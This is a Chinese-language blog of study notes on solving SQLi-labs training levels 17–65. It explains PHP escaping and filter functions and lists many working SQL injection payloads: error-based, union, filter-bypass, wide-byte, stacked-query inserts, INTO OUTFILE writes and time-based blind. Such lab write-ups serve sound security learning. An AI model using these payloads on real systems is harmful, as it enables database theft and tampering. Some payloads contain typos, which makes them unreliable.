SQLi-labs 做题随记

less-17

源码:

1576595206419

源码中对username进行了大量的限制

1.substr()函数:substr(string,start[,length])

string 必需,规定要返回其中一部分的字符串

start 必需,规定在字符串的何处开始

​ [正数]:在字符串的指定位置开始

​ [负数]:在从字符串结尾开始的指定位置开始

​ [0]:在字符串中的第一个字符处开始

length 可选,要返回的字符数。如果省略,则返回剩余文本

​ [正数]:从start参数所在的位置返回的长度

​ [负数]:从字符串末端返回的长度

2.get_magic_quotes_gpc()函数

get_magic_quotes_gpc()函数取得PHP环境配置的变量magic_quotes_gpc(GPC, Get/Post/Cookie)值。返回0表示本功能关闭,返回1表示本功能打开。

magic_quotes_gpc打开时,所有的'(单引号)"(双引号)\(反斜杠)NULL(空字符)会自动转为含有反斜杠的溢出字符。

3.addslashes()与stripslashes()函数

addslashes(string)函数返回在预定义字符之前添加反斜杠\的字符串:

  • 单引号 '
  • 双引号 "
  • 反斜杠 \
  • 空字符 NULL

该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

注意:默认地,PHP对所有的GET、POST和COOKIE数据自动运行addslashes()。所以不应对已转义过的字符串使用addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数get_magic_quotes_gpc()进行检测。

stripslashes(string)函数删除由addslashes()函数添加的反斜杠。

4.ctype_digit()函数

ctype_digit(string)函数检查字符串中每个字符是否都是十进制数字,若是则返回TRUE,否则返回FALSE

5.mysql_real_escape_string()函数:mysql_real_escape_string(string,connection)

string 必需,规定要转义的字符串

connection 可选,规定MySQL连接。如果未规定,则使用上一个连接

mysql_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回FALSE

本函数将字符串中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于mysql_query(),可使用本函数来预防数据库攻击。

6.intval()函数:intval(var[,base])

var 要转换成integer的数量值

base 转化所使用的进制

intval()函数获取变量的整数值。通过使用指定的进制base转换(默认是十进制),返回变量varinteger数值。intval()不能用于object,否则会产生E_NOTICE错误并返回1

成功时返回varinteger值,失败时返回0。空的array返回0,非空的array返回1,最大的值取决于操作系统。

如果base0,通过检测var的格式来决定使用的进制:

  • 如果字符串包括了0x0X的前缀,使用16进制hex;否则,
  • 如果字符串以0开始,使用8进制octal;否则,
  • 使用10进制decimal

1576595734122

在用uanme查询之前,它用check_input()函数做了检查。

1. 若uname非空,截取它的前15个字符。
2. 若php环境变量magic_quotes_gpc打开,去除转义的反斜杠\
3. 若uname字符串非数字,将其中特殊字符转义;为数字则将其转为数字类型。

所以我们几乎不可能在uname处注入,唯一的注入点在passwd处。

又因为该关卡提示为update,所以考虑updatexml报错注入。

less-18

关卡提示header注入,所以先了解一下HTTP协议

​ http即超文本传输协议,为目前网页传输的通用协议。http是属于“应用层的协议”,而且是基于TCP/IP协议的。

img

http协议基于TCP的可靠性连接,就是在请求之后,服务器端立即关闭连接、释放资源。这样既保证了资源可用,也吸取了TCP的可靠性的优点。

http采用了请求/相应模型。浏览器或者其他客户端发出请求,服务器给予响应。一个http请求代表客户端浏览器向服务器发送的数据。一个完整的http请求消息,包含一个请求行,若干个消息头(请求头),换行,实体内容。

1.请求头(消息头)包含(客户机请求的服务器主机名,客户机的环境信息等):
Accept:用于告诉服务器,客户机支持的数据类型 (例如:Accept:text/html,image/*)
Accept-Charset:用于告诉服务器,客户机采用的编码格式
Accept-Encoding:用于告诉服务器,客户机支持的数据压缩格式
Accept-Language:客户机语言环境
Host:客户机通过这个服务器,想访问的主机名
If-Modified-Since:客户机通过这个头告诉服务器,资源的缓存时间
Referer:客户机通过这个头告诉服务器,它(客户端)是从哪个资源来访问服务器的(防盗链)
User-Agent:客户机通过这个头告诉服务器,客户机的软件环境(操作系统,浏览器版本等)
Cookie:客户机通过这个头,将Coockie信息带给服务器
Connection:告诉服务器,请求完成后,是否保持连接
Date:告诉服务器,当前请求的时间

(换行)
实体内容:
就是指浏览器端通过http协议发送给服务器的实体数据。例如:name=dylan&id=110
(get请求时,通过url传给服务器的值。post请求时,通过表单发送给服务器的值)

一个http响应代表服务器端向客户端回送的数据,它包括:
一个状态行,若干个消息头,以及实体内容

2.响应头(消息头)包含:
Location:这个头配合302状态吗,用于告诉客户端找谁
Server:服务器通过这个头,告诉浏览器服务器的类型
Content-Encoding:告诉浏览器,服务器的数据压缩格式
Content-Length:告诉浏览器,回送数据的长度
Content-Type:告诉浏览器,回送数据的类型
Last-Modified:告诉浏览器当前资源缓存时间
Refresh:告诉浏览器,隔多长时间刷新
Content-Disposition:告诉浏览器以下载的方式打开数据。例如: context.Response.AddHeader("Content-Disposition","attachment:filename=aa.jpg"); context.Response.WriteFile("aa.jpg");
Transfer-Encoding:告诉浏览器,传送数据的编码格式
ETag:缓存相关的头(可以做到实时更新)
Expries:告诉浏览器回送的资源缓存多长时间。如果是-1或者0,表示不缓存
Cache-Control:控制浏览器不要缓存数据 no-cache
Pragma:控制浏览器不要缓存数据 no-cache

Connection:响应完成后,是否断开连接。 close/Keep-Alive
Date:告诉浏览器,服务器响应时间

状态行: 例如: HTTP/1.1 200 OK (协议的版本号是1.1 响应状态码为200 响应结果为 OK)

实体内容(实体头):响应包含浏览器能够解析的静态内容,例如:html,纯文本,图片等等信息

这道题主要用http-header消息,所以单拎出来看

http-header消息主要分成四个部分:

①general header

②request header

③response header

④entity header

原理:
http header注入,该注入是指利用后端验证客户端口信息(比如常用的cookie验证)或者通过http header中获取客户端的一些信息(比如useragent用户代理等其他http header字段信息),因为这些信息是会重新返回拼接到后台中的,所以再对这些信息进行sql处理,又因为后台没有进过相对应的信息处理所以构成了sql注入。

常见的HTTP注入点产生位置为【Referer】、【X-Forwarded-For】、【Cookie】、【X-Real-IP】、【Accept-Language】、【Authorization】;

(1)HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。

(2)X-Forwarded-For:简称XFF头,它代表客户端,用于记录代理信息的,每经过一级代理(匿名代理除外),代理服务器都会把这次请求的来源IP追加在X-Forwarded-For

(3)Cookie,有时也用其复数形式 Cookies,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)

(4)X-Real-IP一般只记录真实发出请求的客户端IP,看下面的例子:

X-Forwarded-For: 1.1.1.1, 2.2.2.2, 3.3.3.3,代表 请求由1.1.1.1发出,经过三层代理,第一层是2.2.2.2,第二层是3.3.3.3,而本次请求的来源IP4.4.4.4是第三层代理 。

如果配置了X-Read-IP,将会是:X-Real-IP: 1.1.1.1,所以 ,如果只有一层代理,这两个头的值就是一样的。

(5)Accept-Language请求头允许客户端声明它可以理解的自然语言,以及优先选择的区域方言

源码:

1576757088004

1576757119475

1576757196796

输入正确的账号密码,页面回显如下所以我尝试抓包修改User Agent。

1576758846262

具体方法判断是否存在注入点的方法:
第一步:用bp工具对网站登录页面进行抓包,然后对user agent数据(这里不一定是user agent,你怀疑哪一个你就改哪一个)进行测试,看是否存在sql注入,也就是输入单引号或者其他违规语法,看后台返回的信息中是否存在syntax error(语法错误)。
第二步:确认存在sql注入以后,就可以渗透了,updatexml()函数,extractvalue()函数,floor()函数,都可以。

payload:

爆库:1',1,updatexml(1,concat(1,(select database()),2),1))#

爆表1',1,updatexml(1,concat(1,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1),2),1))#

less-19

几乎等同于less-18,注入点为referer,可用extractvalue报错注入。

less-20

bp抓包后,通过18/19关的方式输入username和password,显示I love your cookie,进而判断为cookie方式注入。

1577020406971

1577020845895

从输入框中输入账号密码得到页面。

1577020520120

1577020543182

查看http头发现cookie内只存了uname并且没有任何的加密和过滤。

通过修改cookie可以使用union联合注入。通过判断字段数为3。

剩下注入方式同less-1.

less-21

1577021617673

1577022025579

这关cookie用base64加密处理了。其余同less20。

less-22

这关同21,使用了base64对cookie文件加密,但闭合方式为双引号。

至此SQLI_Labs 基础第一part已全部完成。

less-23

1577275140943

关卡提示:删除注释,即关卡对注释进行了删除。

源码:

1577275513867

可以看出页面对/#/和/--/进行了处理,替换成了空格其余没有过滤。

顺带了解一下preg_replace函数。

preg_replace():

​ PHP中用来执行正则表达式的匹配以及替换的函数。可以返回一个正则表达式转换后的值。

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

参数说明:

  • $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
  • $replacement: 用于替换的字符串或字符串数组。
  • $subject: 要搜索替换的目标字符串或字符串数组。
  • $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
  • $count: 可选,为替换执行的次数。

如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串。

如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。

了解详情后有两个思路:1.用其他注释符替代 2.不用注释符

由于MySQL数据库的注释符有且仅有三种:

①"--" 一般用于Get注入时注释;

②"#" 一般用于Post注入时注释;

③"/**/"可用于代替空格,也可以用来包括其他需要注释的东西。也常用来绕过注释。

虽然网页对第三种注释没有做任何处理。但用这个注释仍然无法绕过后台限制,所以考虑不用注释符注入。

首先尝试payload:1' and '1'='1 发现页面回显正常。

奇技淫巧:让永错值前置和永真值后置以达到闭合查询语句的目的。

尝试payload:-1' union select 1 or '1 页面回显显示查询字段数不正确,根据之前经验得知字段数为3,所以直接尝试注入。

-1' union select 1,2,database() or '1

1577278485632

有回显但与想要获得的数据不同,观察后再次尝试

-1' union select 3,database(),3 or '1

1577278655086

发现回显位在第二位与第三位,所以修改payload可以拿到数据。

0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()='1

0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'='1

0' union select 1,(select group_concat(username) from users),3='1

0' union select 1,(select group_concat(password) from users),3='1

报错注入:

0' or extractvalue(1,concat(1,database()))='1 其他未尝试

less-24

1577334519393

关卡提示-二次注入

1577335223442

首先了解一下二次注入的原理:

​ 二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

二次注入,可以概括为以下两步:

  • 第一步:插入恶意数据
    进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
  • 第二步:引用恶意数据
    开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

1577335871188

1577345286839

由此联想到WordPress的案例:

​ 通过注册“admin”+“非法注释语句”传入数据库,再通过正常操作调用相关语句进入,二次调用时产生注入。此题同理。

less-25

1577425409551

关卡提示:过滤OR/AND单引号字符型注入

进入界面就提示输入id作为参数。

经过几秒钟的短暂懵逼之后我发现它并没有注释union,所以常规union联合查询一套直接出数据。

payload:?id=0' union select 1,(select group_concat(concat_ws('-',id,username,passwoorrd)) from users),3--+

但既然他代码都写了,不研究不就亏了。

先判断是否是一次性绕过。

一次性绕过多是将过滤字符换成空字符。双写——or=oorrand=anandd

非一次性绕过则考虑变形:

  • 大小写变形——or=Or=oR=OR
  • 利用运算符——or=||and=&&
  • URL编码——#=%23,Hex编码——~=0x7e
  • 添加注释——/*or*/

瞅瞅源码:

1577427270337

由源码知,该关卡是一次性绕过,但因为加了//i的正则表达式,所以不能使用大小写变形绕过其余方式都可以。

less-25a

基于Bool_GET过滤AND/OR数字型_盲注

稍稍总结一下GET和POST注入方式及回显的对比(基于SQLi-Labs关卡)

GET

Less注入方法正确回显错误回显
1基于错误注入查询到的用户名和密码Mysql错误信息
5双注入固定字符串Mysql错误信息
7导出文件注入固定字符串另一固定字符串
8Bool型盲注固定字符串
9Time型盲注固定字符串同一固定字符串

POST

Less注入方法成功回显失败回显错误回显
11基于错误注入用户名和密码 (flag.jpg)无 (slap.jpg)Mysql错误信息 (slap.jpg)
13双注入无 (flag.jpg)无 (slap.jpg)Mysql错误信息 (slap.jpg)
15Bool/Time型盲注无 (flag.jpg)无 (slap.jpg)无 (slap.jpg)

该关卡与25的区别仅有id值无需闭合,其余相同。但由于注释掉了or所以order和information里所包含的or均被注释需要双写。

less-26

题目提示:基于错误GET过滤空格/注释单引号字符型注入

尝试了/**/和%20两种方式发现都行不通。甚至连--和#都注释掉了。(瞟眼源码)

$id= blacklist($id);
$hint=$id;
function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);//strip out OR (non case sensitive)
    $id= preg_replace('/and/i',"", $id);//Strip out AND (non case sensitive)
    $id= preg_replace('/[\/\*]/',"", $id);//strip out /*
    $id= preg_replace('/[--]/',"", $id);//Strip out --
    $id= preg_replace('/[#]/',"", $id);//Strip out #
    $id= preg_replace('/[\s]/',"", $id);//Strip out spaces
    $id= preg_replace('/[\/\\\\]/',"", $id);//Strip out slashes
    return $id;
}

看出来注释掉了正则匹配后的or和and,还有/*,--,#,“ ”。

尝试了16进制,ascii码等等都行不通只能转换方向通过报错进行注入,首先想到不用空格只用括号使语句闭合的updatexml和exactvalue报错。其他用到and和or的用逻辑运算符代替。

由于sql报错存在字符限制,所以不能使用group_concat()函数一次爆出所有用户名和密码,并且无空格无法使用limit语句,只能通过where语句来控制偏移量。

(看大多数教程用linux并没有屏蔽%a0和%0b)

但windows只能使用报错,且要用where或者substr截断限制输出。

payload:

extractvalue:

100'||extractvalue(1,concat(1,database()))||'1

100'||extractvalue(1,concat(1,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)=database())))||'1

100'||extractvalue(1,concat(1,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name)='users')))||'1

此时显示已经不完全了,要用substr限制输出了

100'||extractvalue(1,substr(concat(1,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name)='users')),<u>1,32</u>))||'1

逐次输出进行拼接,其余同理。

100'||extractvalue(1,substr(concat(1,(select(group_concat(username))from(users))),1,32))||'1

100'||extractvalue(1,substr(concat(1,(select(group_concat(passwoorrd))from(users))),1,32))||'1

updatexml:

0'||updatexml(1,concat(1,(select(group_concat(database()))),1),1)||'2

0'||updatexml(1,concat(1,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)=database()),1),1)||'2

0'||updatexml(1,substr(concat(1,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name)='users'),1),1,32),1)||'2

0'||updatexml(1,substr(concat(1,(select(group_concat(username))from(users)),1),32,64),1)||'2

0'||updatexml(1,substr(concat(1,(select(group_concat(passwoorrd))from(users)),1),32,64),1)||'2

less-26a

该关卡提示字符型单引号括号闭合盲注,仍旧屏蔽了诸多注释空格等。

瞟一眼源码:

$id= blacklist($id);
$hint=$id;
function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);//strip out OR (non case sensitive)
    $id= preg_replace('/and/i',"", $id);//Strip out AND (non case sensitive)
    $id= preg_replace('/[\/\*]/',"", $id);//strip out /*
    $id= preg_replace('/[--]/',"", $id);//Strip out --
    $id= preg_replace('/[#]/',"", $id);//Strip out #
    $id= preg_replace('/[\s]/',"", $id);//Strip out spaces
    $id= preg_replace('/[\s]/',"", $id);//Strip out spaces
    $id= preg_replace('/[\/\\\\]/',"", $id);//Strip out slashes
    return $id;
}

关卡关闭了错误回显,且因为windows把%a0和%0b注释了,所以只能盲注。

less-27

关卡提示该关卡屏蔽了select和union,先瞅眼源码是如何进行过滤的

function blacklist($id)
{
    $id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
    $id= preg_replace('/[--]/',"", $id);        //Strip out --.
    $id= preg_replace('/[#]/',"", $id);            //Strip out #.
    $id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
    $id= preg_replace('/select/m',"", $id);        //Strip out spaces.
    $id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
    $id= preg_replace('/union/s',"", $id);        //Strip out union
    $id= preg_replace('/select/s',"", $id);        //Strip out select
    $id= preg_replace('/UNION/s',"", $id);        //Strip out UNION
    $id= preg_replace('/SELECT/s',"", $id);        //Strip out SELECT
    $id= preg_replace('/Union/s',"", $id);        //Strip out Union
    $id= preg_replace('/Select/s',"", $id);        //Strip out select
    return $id;
}

简直 不忍直视 过滤了极多 但没有用正则表达式进行完全过滤,所以可以采用随即大小写的方式进行绕过。

其他相关的过滤和26关一样的变态

拓展补充PHP的正则表达式

i
如果设定了此修正符,模式中的字符将同时匹配大小写字母。

m
如果设定了此修正符,行起始和行结束除了匹配整个字符串开头和结束外,还分别匹配其中的换行符的之后和之前。

s
如果设定了此修正符,模式中的圆点元字符.匹配所有的字符,包括换行符。没有此设定的话,则不包括换行符。

x
如果设定了此修正符,模式中的空白字符除了被转义的或在字符类中的以外完全被忽略,在未转义的字符类之外的#以及下一个换行符之间的所有字符,包括两头,也都被忽略。

e
如果设定了此修正符,preg_replace()在替换字符串中对逆向引用作正常的替换。

?
./+/*之后表示非贪婪匹配,./+/*限定符都是贪婪的,它们会尽可能多的匹配文字,在它们的后面加上一个?就可以实现非贪婪或最小匹配。

在查阅别人的blog之后发现/*%0a*/可以强制增加空格,但是26和26a都无法使用。

payload:

?id=0'/*%0a*/UnIoN/*%0a*/SeLeCt/*%0a*/2,database(),4/*%0a*/||/*%0a*/'1'='1

常规方法用对应代码替代后就可以完成注入。

less-27a

该关卡跟27关无大差异,只有 ‘ 变成了 ” ,其余payload按照27关构造即可。

less-28

function blacklist($id)
{
    $id= preg_replace('/[\/\*]/',"", $id);                   //strip out /*
    $id= preg_replace('/[--]/',"", $id);                  //Strip out --.
    $id= preg_replace('/[#]/',"", $id);                     //Strip out #.
    $id= preg_replace('/[ +]/',"", $id);                 //Strip out spaces.
    $id= preg_replace('/[ +]/',"", $id);              //Strip out spaces.
    $id= preg_replace('/union\s+select/i',"", $id);     //Strip out UNION & SELECT.
    return $id;
}

还是一如既往的屏蔽了诸多玩意儿 对于union和select的过滤奇奇怪怪 过滤掉了相连的union select 正则表达同时匹配大小写

这关还是可以用/*%0A*/强行制造空格

`333')union%a0select(1),(database()),(3)||('1`

系统为linux时制造如上所示的宽字节符号能够绕过union select的过滤

0')unionunion/*%0A*/select/*%0A*/select(1),(database()),(3)||('1

系统为windows时奇技淫巧绕过,因为union select为整体且是一次性过滤所以通过双写也可以绕过其余空格可用括号代替也可以用/*%0a*/绕过

0')/*%0A*/unionunion/*%0A*/select/*%0A*/select/*%0A*/1,(select(group_concat(table_name))from(information_schema.tables)where(table_schenea)=database()),3||('1

0')/*%0A*/unionunion/*%0A*/select/*%0A*/select/*%0A*/1,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'),3||('1

0')/*%0A*/unionunion/*%0A*/select/*%0A*/select/*%0A*/1,(select(group_concat(username,'~',password))from(users)),3||('1

less-28a

function blacklist($id)
{
    $id= preg_replace('/union\s+select/i',"", $id);        //Strip out spaces.
    return $id;
}

彷佛出现错了题,就只注释了union select的联合形式用上一关的奇技淫巧可以绕过其余就跟最普通的一样

0') unionunion select select 1,(select(group_concat(username,'~',password))from(users)),3 --+

less-29-31

常规操作了一下居然直接注入成功了,看看提示和源码才反应过来29.30.31是要考察服务器的架构。

1579241521350

服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache为引擎的 php 服务器,真正提供 web服务的是 php服务器。工作流程为: client 访问服务器, 能直接访问到 tomcat 服务器,然后 tomcat 服务器再向 apache 服务器请求数据。数据返回 路径则相反。

1579242164244

通过观察源码,常规的注入就可解决。

less-30 无非是单引号变双引号

less-31 双引号的基础上再加一个小括号

less-32-37

32.32.33.34.35.36.37 六关考察的是宽字节注入

注入的原理和基本用法。

原理:mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个 汉字(前一个 ascii码大于 128 才能到汉字的范围)。我们在过滤 ’ 的时候,往往利用的思 路是将 ‘ 转换为 ’ (转换的函数或者思路会在每一关遇到的时候介绍)。

因此我们在此想办法将 ‘ 前面添加的 除掉,一般有两种思路:

1、%df 吃掉 具体的原因是 urlencode(‘) =%5c%27,我们在%5c%27 前面添加%df,形 成%df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此 事%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。

2、将 ’ 中的 过滤掉,例如可以构造 %%5c%5c%27 的情况,后面的%5c 会被前面的%5c 给注释掉。这也是 bypass的一种方法。**

less-32:

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                              //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);
//escape double quote with a backslash
    return $string;
}

函数过滤了 \ \' \"

%df%27union select 1,database(),3--+ 构造如此payload可以转义出一个汉字和一个斜杠保留单引号

less-33:

payload和32一样,过滤变成了用函数。

function check_addslashes($string)
{
    $string= addslashes($string);    
    return $string;
}
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是: 单引号(') 双引号(") 反斜杠()
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
Addslashes()函数和我们在 32 关实现的功能基本一致的,所以我们依旧可以利用%df 进行绕 过。
Notice:使用 addslashes(),我们需要将 mysql_query 设置为 binary 的方式,才能防御此漏洞。
Mysql_query(“SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary”,$conn);

less-34:变成了登陆界面

if(isset($_POST['uname']) && isset($_POST['passwd']))
{
    $uname1=$_POST['uname'];
    $passwd1=$_POST['passwd'];
     $uname = addslashes($uname1);
     $passwd= addslashes($passwd1);
}

post方法用url编码的方式不再好使,此处用一个新的方法。将 utf-8 转换为 utf-16 或 utf-32,例如将 ‘ 转为 utf-16 为 � ' 。我们就 可以利用这个方式进行尝试。

换' or 1=1# 构造如此的payload 前面只要是一个无法编码的汉字就可以,因为密码为必填项,所以密码可以随便填写,其余payload照猫画虎就可

less-35:

跟33的过滤一模一样,但是看提示和源码发现sql语句并没有单引号等闭合,所以根本不需要考虑过滤

0 union select 1,2,database() --+

less-36:

function check_quotes($string)
{
    $string= mysql_real_escape_string($string);    
    return $string;
}

该关卡利用的是mysql_real_escape_string()函数进行过滤

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
x00 n r ' " x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
但是因 mysql 我们并没有设置成 gbk,所以 mysql_real_escape_string()依旧能够被突破。方法 和上述是一样的。

就' union select 1,2,database() --+

less-37:

就'||1=1# 跟34大差不差

到此第二部分的sqli-labs也告一段落了

less-38-41

进入第三部分 stacked injection 堆叠注入

顾名思义该种注入是多条sql语句一起执行,真实场景的运用中用(;)分隔,听起来跟union联合注入很像,union injection (联合注入)也是将两条语句合并在一起,两者之间的区别在于union 或者 union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是 任意的语句。

1579397552537

堆叠注入的局限性

​ 堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到 API或者数据库引擎 不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。堆叠查询可以执行任意的 sql 语句,但是这种注入方式并不是十分 的完美的。在我们的 web 系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第 二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,我们建议使用 union(联合)注入。同时在使用堆叠注入之前, 我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。

第38关,没有任何过滤,只论注入极其简单,但考虑到这部分的特殊性和源码的不一样,该关卡应该是利用堆叠注入,往目标数据库内进行增查改删的操作,尝试向数据库内插入一组新数据。

?id=1';insert into users(id,username,password) values('50','text','text')--+

1579400317979

插入新数据成功!同理也可以执行增查改删的任意操作,只要拥有权限。

less-39:id=1;insert into users(id,username,password) values('51','text1','text1')--+

less-40:?id=1');insert into users(id,username,password) values('52','text2','text2')--+

less-41:与39相同,但取消了错误回显。

less-42-45

变成了登陆界面,同时兼具忘记密码以及注册新用户的选项,想起之前的二次注入了。

源码中显示password没有经过mysql_real_escape_string()处理,所以存入即所输。。在 select 调用的时候才能发挥作用。所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的。 注入点应该在密码栏。

任意的用户名和任意的密码构成如此的payload

密码:a';create table hhh like users# 就可完成增查改删等操作。

less-43:闭合方式多了小括号

less-44:没有报错信息了,payload等与之前完全相同。

less-45:相比44多了小括号,仍旧没有报错信息。

less-46-49

参数名称换成了sort 正常传参1,2,3时回显内容除了顺序不对,其余都正常。传入4时,显示没有该列,和之前用order by 查询回显位时的回显一样。看源码:

$sql = "SELECT * FROM users ORDER BY $id";

从该关卡就要学习一下order by 注入了:

1.可以跟常规的报错:?sort=(select count(*) from information_schema.columns group by concat('~',(select database()),'~',floor(rand()*2)))--+

?sort=(select count(*) from information_schema.columns group by concat('~',(select (table_name) from information_schema.tables where table_schema=database() limit 0,1),'~',floor(rand()*2)))--+

2.在语句后直接跟select语句:?sort=(select count(*) from users)--+

3.and 连接 ?sort=5 and (select database())--+

4.into outfile 后续几关都可用此法注入`?sort=1 into outfile ?sort=1 into outfile "C:\Users\86176\Desktop\test.txt" --+

5.延迟注入结合布尔盲注

less-46:以上均为46为例构造payload(46关为数字型注入)

less-47:比46多个单引号

less-48:用into outfile注入获取数据

less-49:跟47相比只有没有回显的区别。

less-50-53

结合前学的堆叠注入和order by注入 注入方式用堆叠注入的构造多句payload,使后台执行,应用中应该写入最高权限的账号等。以此种途径拿下服务器权限。

50,52 前者有错误回显后者没有。前者为数字型注入无闭合符号,后者为字符型注入单引号闭合。

51,53同上。

至此第三部分告一段落。

进入第四部分challenge部分。

less-54-57

页面提示只有十次机会提交payload否则将强制更换数据库信息。但已知数据库名称叫challenge。

这关是最简单的字符型注入,直接union联合查询就出答案了。

1579487264941

less-55:条件和54相比较只有次数增加到了14次的区别,通过尝试payload发现闭合方式是仅小括号闭合。

less-56:条件和55一样,闭合方式变成了单引号加小括号。

less-57:条件和55一样,闭合方式变成了双引号。

less-58-61

用union select连接的extractvalue报错注入,只有五次机会。

?id=100'union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+

less-59: 较之58变成了数字型注入。

less-60:闭合方式变为双引号加小括号。

less-61:闭合方式变为单引号加两个小括号

less-62-65

1%27)and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(10))--+

常规和报错都挂掉了只能用基于时间的盲注。上面贴一句payload,时间太长就不一一演示了。

less-63: 较之62变成了单引号。

less-64:闭合方式变为两个小括号。

less-65:闭合方式变为双引号加小括号。

后记

至此全部的sqli-labs就做完了,SQL注入的学习也暂时告一段落了,接下来针对代码审计要开始做初步了解,在现有基础上学号python用于日后写脚本用,盲注用手注真的能累死。

'union select extractvalue(1,concat(0x7e,(sel ect group_concat(table_name) from information_schema.tables where table_schema='challe nges'),0x7e))--+
最后修改:2020 年 08 月 10 日 08 : 43 PM
请作者喝杯奶茶吧~